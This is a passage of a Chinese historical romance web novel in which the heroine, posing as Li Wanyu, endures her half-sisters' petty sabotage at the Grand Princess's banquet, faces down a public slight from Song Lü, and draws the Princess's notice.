老夫人呼吸急促起伏一阵,压下来了怒意,但是已经到出发的时候,也不好多说什么,训诫了几句话,就叫她们离开。 这一番折腾,终于从家里出发,往大长公主设宴的城外庄子上去。 一上马车,婉淑就掩袖笑了一下,说:“二姐姐今儿可真漂亮。” 婉蓉自得地摸摸耳铛,骄傲地说:“我本来就漂亮,你以为像你?穿了好东西也是浪费。” 婉淑捏了捏帕子,笑说:“是,姐姐这么漂亮,日后若是飞黄腾达,少不得还得让你照拂我们姐妹呢。对吧大姐姐?” 最后一句却是对着关怀素说的。 关怀素与孙大娘子也算是撕破了脸,这会子也不装傻了,看着婉淑就说:“三妹妹,你自个儿与二妹妹拌嘴,为何总拉我?” 婉淑一愣,没想到大姐姐如此说,一下子没回过神来。 婉蓉却十分开心,她最看不惯婉淑说话阴阳怪气的调调,噗嗤一声笑出声来,说:“是啊,你当你很惹人喜欢不成?每次自己不说,回回都让人帮你说话,端着个嫡女的架子……实际上不过是个乡下破落户出身,真当自己是根葱了,我呸!” 婉淑又窘又怒,到底年纪还小,母亲教给她的养气功夫一下子丢到脑后,气地指着婉蓉怒骂:“那你又算是什么东西,一个为奴为婢的通房之女,再怎么也比正经人家低贱!” 两人大怒,登时连声拌嘴,旁边的丫鬟劝不住,便叫关怀素:“大姑娘,您快劝劝二姑娘和三姑娘呀!” 关怀素本不想搭理,但是眼见着婉淑与婉蓉快动起手来,马车狭小,一会子牵连到她,关怀素才冷声说:“有什么好吵的,走出去都是李家女儿,外人看着都差不多,如今一路都是去宴会的人,叫人听到,那便是什么出身都是粗鲁货色。” 这话一出,登时叫婉蓉和婉淑才稍微冷静下来,二人互瞪了一眼,各自转过头去,不再搭理对方。 路上一路出城的马车,全部都是参宴的熟人,只是文官家眷全都坐马车、挂帘子,武官家眷则全部穿骑服,男女都自己骑马,只有年纪不大的孩童坐马车之中,但也高高卷起车帘,与身边家人大声说笑,男女皆如此。 “她们能骑马呢,真是自在。”柳叶与关怀素游历天下的时候,也会骑马,这会子在李家憋久了,登时看着就十分羡慕,悄声对关怀素说。 关怀素还没点头,那边婉蓉就冷笑一声,说:“骑马有什么好的?危险不说,出去抛头露面的,什么人都能看到,简直是自降身份,这才是真的粗鲁!” 关怀素便笑了笑,说:“那便祝福二妹妹一生都不用抛头露面吧。” “我巴不得呢!咱们这等官宦人家的女儿,从来都不必抛头露面,在后宅养尊处优,才叫尊贵。”婉蓉一抬下巴,骄矜地说。 说话之间,外头传来人声,关怀素转头挑帘子一看,竟是已经到了大长公主的庄园。 大长公主的园子就在京师外城不远处,占地面积十分广阔,老远看着红墙黄瓦,一派皇家森严。 今日大门敞开,车马鳞次栉比,贵人如织,劲装女娘朗笑打马冲过去,下了马,将绳子丢给侍女,便大笑着勾肩搭背自进门去。 文官家眷们则都是在门口石墩子处下马车,一路叫侍女接着入内。 前头都是贵人,李家马车就停在角落避让,关怀素坐在门边,因此便当先要准备下车。 柳叶先跳下马车,回身来接关怀素。 关怀素正打算下去,突然察觉到衣摆不对劲。 她回头一看,便见到婉蓉的鞋下头踩着自己的衣摆。 马车车辙很高,关怀素若是没看到,就这么下车,重则直接摔在地上,轻则是衣服撕破个大口子。 现在门口全是贵眷,无论怎样,都会极其丢人! 婉蓉见关怀素回头看到自己的脚,这才惊讶地捂住嘴巴说:“哎呀,对不住大姐姐,我没看到踩到你衣摆了。” 关怀素哪里猜不到婉蓉是故意的,她冷冷地看了一眼婉蓉,拉了拉衣摆,下了马车。 一进门婉蓉婉淑便寻自己手帕交去了,关怀素便带着柳叶往僻静地方走。 如今已经十月初,天气一天比一天冷,今儿更是北风萧瑟,花园子里竟一个人都没有。 柳叶方才憋着气,见周围无人,便半蹲下来给关怀素拍衣摆被踩到的尘土,一边恨恨地说,“姑娘,二姑娘方才是故意的!” “我何尝不知道?”关怀素冷声说,“不但婉蓉是故意的,婉淑方才在最后头,她也眼睁睁地看着呢,却没有提醒一句。” “这都是什么人啊!”柳叶闻言愈发生气,大怒说,“一个想姑娘撕破衣服出丑,一个眼睁睁地看着也不提醒,简直毫无手足之情!” “人家可没把我当手足。”关怀素冷笑一声,拉委屈的柳叶起来,说,“傻丫头,委屈什么,又不是什么亲近人,值当你放在心上?” 柳叶擦了擦眼睛,看四周都无人,便压低了声音说:“姑娘你别光劝我,你眼睛都红了。” 关怀素这才发现自己眼睛酸胀,鼻子发酸。 原来柳叶如此委屈,是因为察觉了她的愤怒和委屈。 但是她不是替自己委屈,关怀素是替姐姐委屈——姐姐这些年,不知如此被欺负了多少次。 世人都说李家大姑娘性子内敛、不讨喜、行事无度,由此反衬出另外两个女儿,一个貌美,一个端庄。 那些哑巴亏,当一次次地出现在自己身上时,关怀素可以随时反击回去。 可是对姐姐呢? 姐姐那样温柔怯弱的性子,她是如何一次次地吞下这些委屈,如同软刀子割肉一般忍受这时不时来一次的伤害? 关怀素想到这里,眼睫低垂,眨出一滴泪水来。 她飞快擦掉,轻声对柳叶说:“好了,不难受了。迟早咱们会讨回来的。” 于是柳叶点点头,这才扶着关怀素往人多的地方而去。 她完全没想到,她离开之后,从廊下的转角走出来一对主仆。 宋律的小厮小心地看着他。 方才听到关怀素开口说话的时候,宋律脸上忍不住慢慢柔和下来,因为他听出来了,这是他偶遇过两次,极为温厚的那位姑娘。 怕唐突佳人,他本只想着赶紧止步离开,只是没想到转角无锋,他已经看到了来人的模样。 一入眼看到是李婉玉,宋律的脸色就瞬间黑如锅底。 看到人离去,小厮小心提醒:“三少爷,咱们该去宴席了。” “这女人实在是可恶可恼,竟在这里演这出可怜戏码。为了登上这攀龙附凤的通天梯,竟连自家姐妹都编排上了,实在是心机深沉!”他说完,满面怒意,拂袖而去! 而另一边,周乐天也听说了。 “你说什么?李婉玉在花园里偷偷和丫鬟哭?”周乐天放下笔,诧异地问。 “是,下人隔得远,听不清具体说了什么,但是听说大姑娘在门口与家里姐妹吵了几嘴,进门便去花园里,哭了一场才去前厅参宴。”来福轻声说完,把门口那场吵嘴的事情说了。 周乐天一听,立刻皱眉,说:“李家那二姑娘心思不甚正派。” “确实。”来福点头附和,说,“也难怪大姑娘委屈,都是一家子骨肉,竟巴不得她出丑,那三姑娘眼睁睁地看着也不提醒呢!” 周乐天沉思一下,放下手中的笔,皱眉说:“换衣裳,去前面看看。” 来福立刻点头,忙帮周乐天更衣。 () 第五十章 酒宴(上) 关怀素走到人多的地方,便见几个院落连着花园子全部打了帘子,处处人声鼎沸。 大长公主行事类先帝,男女都只分了亲眷关系依次入座,并无男女大妨。 唯有许多未出阁的闺秀都被排在最里面的长暖阁里,关怀素心想,可能大长公主真有给平安侯选妻的意思。 她走过去落座,刚巧听到旁边有人问:“白芷妹妹怎地没到呢?” “她凑巧昨儿个风寒,没好呢,今儿来不了了。”旁边就有与赵白芷相熟的姑娘笑着回答。 “姐姐在这里呢!”关怀素在角落里听着呢,旁边悄声有人搭话。 关怀素回头一看就笑了,说:“兰妹妹,你也来了!” “怎能不来,接到了这等帖子,我舅舅舅母连夜给我买了新衣服,今儿一早就叫换了衣衫,还租了马车眼巴巴地送我过来。”宋兰嘲讽一笑,说,“要不是我说公主府上规矩大,只怕还想我带着两个堂姐妹一起过来抬抬身价。” 说完,看关怀素关心的表情,宋兰又笑了,说:“姐姐不必这个样子……白芷姐姐竟没来呢。” 她话说到一半,却突然压低声音如此感慨。 “许是风寒了身子难受,这几天天气愈发冷了。”关怀素有些担心地说,“也不知她身子如何了。” “姐姐你是真不知道还是在与我装傻?”宋兰微微诧异地压低声音问。 见关怀素露出不解之色,她便轻声压低声音在关怀素耳边说:“白芷姐姐不是身子不好,她是不能来,不能叫……误会。” 宋兰指了指天上,暗示完,感慨地说:“白芷姐姐在京师都是出名的德行出众,一直以来不知多少人家都去问,但是赵家只说白芷姐姐年纪小,全都拒了。便是说日后再看的话都没提,大家都知道,赵家想给白芷姐姐谋划个好去处,只是苦了她了,姐妹们聚一次少一次,也来不了。” 关怀素想到赵白芷悄悄与周乐天袒露情愫时紧张却孤勇的声音,心中微黯淡,此时侍女叫大家入座,关怀素便收了话头,拉着宋兰一起找了个角落的桌子坐下。 婉蓉与婉淑各自与自己的姐妹一起,也被侍女带着坐在隔壁。 只是二人瞧着脸色不好,估计是又拌嘴了。 大长公主便是这个时候到的。 整个院子瞬间安静下来,众人全数起身行礼。 “行了,都坐下吧。”大长公主行事作风十分不拘小节,挥手说完,便惬意坐下,众人应声,宴席这才开始了。 关怀素坐下,便见席面上冷盘热菜全数流水一般上来,当中主菜就是炙羊肉。 “呀,这炙羊肉闻着真香!”宋兰有些馋地看着,可炙羊肉却是一整块,旁边放着一柄锋利短刀。 文臣女眷素来千娇百宠,都不敢用刀,一时之间大家都避过了这道菜,关怀素瞧宋兰眼巴巴地看着,想到她寄居亲戚家,过的简谱,这炙羊肉平素只怕吃不到。 想到这里,关怀素心中怜爱,便站起身,主动拿刀把肉分好,给宋兰捻了一块放在碗里。 宋兰眼睛发光,对关怀素开心一笑,同桌的女孩们见关怀素分好,也笑着点头致谢,便个个去夹炙羊肉吃。 关怀素正要放刀,自己也坐下来,却没想到身后有人重重一撞! 刀光冰寒,若不是关怀素身手不错,反手一把将刀子深深扎入炙羊肉里,只怕就要割到自己。 可饶是如此,到底也是没收住力气,一下子撞到了身侧摆着的羊汤,落了一身的污渍。得亏冬日穿的厚实,倒没烫到。 关怀素回头,便见到身后坐着的婉蓉一副惊讶的样子,可怜兮兮地说:“大姐姐,我不知道身后有人……” 怎么可能不知道,她们就贴着背坐,动静说话都一清二楚,而且怎么就这么凑巧,撞的时机都如此精准? 关怀素心中涌起怒意,还没说话,偏远处大长公主似乎听到了动静,远远地问了一声:“那边怎么了?” 关怀素放下刀,公主发问,她必须前去回话,她准备离席,却见宋兰也站了起来,显然是要跟着关怀素一起去。 “你留在这里。”关怀素拍拍宋兰,匆匆说。 “我去给姐姐作证,你是被李婉蓉故意撞的!”宋兰怒气冲冲地用两桌人都听得到的音量说。 “不许来,快坐下!”这可是大长公主的宴会,在这里吵这种嘴,没得被厌恶了。 再说了,今儿个朝堂上的人马来了一大半,闹这种事情对谁都没好处。 关怀素便眼神严厉地制止宋兰,见她虽不服气,却坐下来,这才放心地匆匆走到最前面的门帘子外头蹲身请罪:“殿下赎罪,方才我握刀割肉,却没想到殿下府中刀子太过锋利,我往日用惯钝刀,一时用力过大,撞上了面前的羊汤,实在是婉玉失礼了!” 一则是解释,二则是夸刀兵锋利,以大长公主的性子,这反倒才对她胃口。 关怀素猜的不错,原本听这边吵起来,眼神不悦的大长公主听她这么说,立刻笑了出来,指着她懒洋洋地隔空点了一下,说:“你这小姑娘,倒是个机灵的……也是我没考虑周全,忘了你们小姑娘都没拿过刀,叶英,你让人帮外头姑娘们把炙羊肉片好。” 大长公主一笑,整个场面顿时松快下来,席上诸人神色都是一松。 却没想到就在这个时候,席间突然有个人开口说:“李家大姑娘,你怎地每回宴会都会出状况?” 关怀素一听,悚然而惊,猛地抬头,不可置信地看向坐在一边的宋律——要知道这句话对一个未出阁的姑娘家来说,是极重的话了! 由一个外男去责备一个年轻姑娘,说这个姑娘每次在宴会都有事情,这代表了两种意思。 一层暧昧些,是暗指这个姑娘心术不正,只怕是有意让人记住自己,另一层则是传递这个男子极其不喜这个女子的品行,觉得她状况太多,并没有打理好自己的能力。 宋律乃是刑部尚书之子,且又是太子伴读,是京师之中年轻一代郎君之中极为冒尖的存在。 他这话说出口,无论是往哪一层考虑,此事若是坐实,关怀素将极难在京师官眷圈内立足。 关怀素瞬间明白了一件事情,那就是不计任何代价,一定要反击! 她的紧张与思虑虽多,但是也不过是电光火石一瞬间的事情。 关怀素没注意到周乐天已经坐直,想说什么。她瞬间抬头直视宋律,冷声说:“我与大名鼎鼎的宋三郎不过几次萍水相逢,您便要靠着偏见给我定罪……那我斗胆想说一句,每回我在宴会出了一点状况,宋三少你次次非要唇舌相讥,那我可否就告知天下人,说宋家三少是个心胸狭窄的小人呢?!” 此话一出,宋律腾地站起来怒斥她:“你大胆!” “我却觉得她说的不错。”便在此时,周乐天抓到机会立刻开口,冷声说,“宴席本就人多,偶尔出些状况在所难免,宋三郎,你在众目睽睽之下如此随意污蔑一个女子闺誉,未免也太小人!” 这话一出口,宋律登时大怒,他还想说话,他身边的妇人却立刻开口呵斥他:“三郎,你闭嘴!” 而后又走出来,对大长公主和周乐天分别行礼说:“长公主殿下、平安侯赎罪,我家三郎年纪小,素来总爱在家里和姐妹斗嘴,今日说话太没有分寸了,还请二位恕罪。也请姑娘也饶他一回。” 她说完,又转身想对关怀素请罪。 关怀素却侧身躲过,并不受宋夫人大礼。 周乐天还想说什么,大长公主却一扬手,然后笑着看了看关怀素,说:“你叫什么?抬起头来。” 关怀素立刻转过身,蹲身行礼,垂眸抬头。 “你叫什么名字?看着我回话。”大长公主却突然声音变了一下,关怀素抬头,便看到一张非常锐利而沧桑的脸。 那是一张非常“将军”的脸,饱经风霜,没有一丝脂粉痕迹,气势如一柄光华尽收的宝剑一般。 寻常人看到女子,总会先评判对方的容貌,但是大长公主并不会让人有这种感觉,哪怕她只穿着最寻常的劲装、腰系白绸、头发只绑了男子一般简单的发髻,除此之外身上并无佩戴金玉,却依然给人一种极其强势的威压感。 这是常年手握重兵的上位者的气势,哪怕仔细看能发现大长公主风霜之下五官其实非常有锐利之美,却也不敢让人细看。 关怀素也只敢看一眼,然后努力镇定回答:“回殿下,我乃吏部考功司侍郎李珺长女,名李婉玉。” “李珺大女儿,婉玉……你是素素的孩子?”大长公主却一愣,关怀素想说话,她却仿佛才看到关怀素身上的羊汤似的,立刻吩咐身边女官:“叶英,去,带她去换身干爽衣衫,这大冬天的,身上弄湿了别生病。” 旁边一个四十来岁的中年女将立刻领命出来,示意关怀素跟自己一起出去。 “找找我年轻时的衣衫,素素当年还落在我这里有几套新衣,我记得好像都没穿过。”大长公主在身后说着,似乎没看到周围人纷纷微微变色的表情。 关怀素心中不安,可也知道这事儿不是自己能决定的,只能谢恩之后,跟着嬷嬷们下去更衣。 ()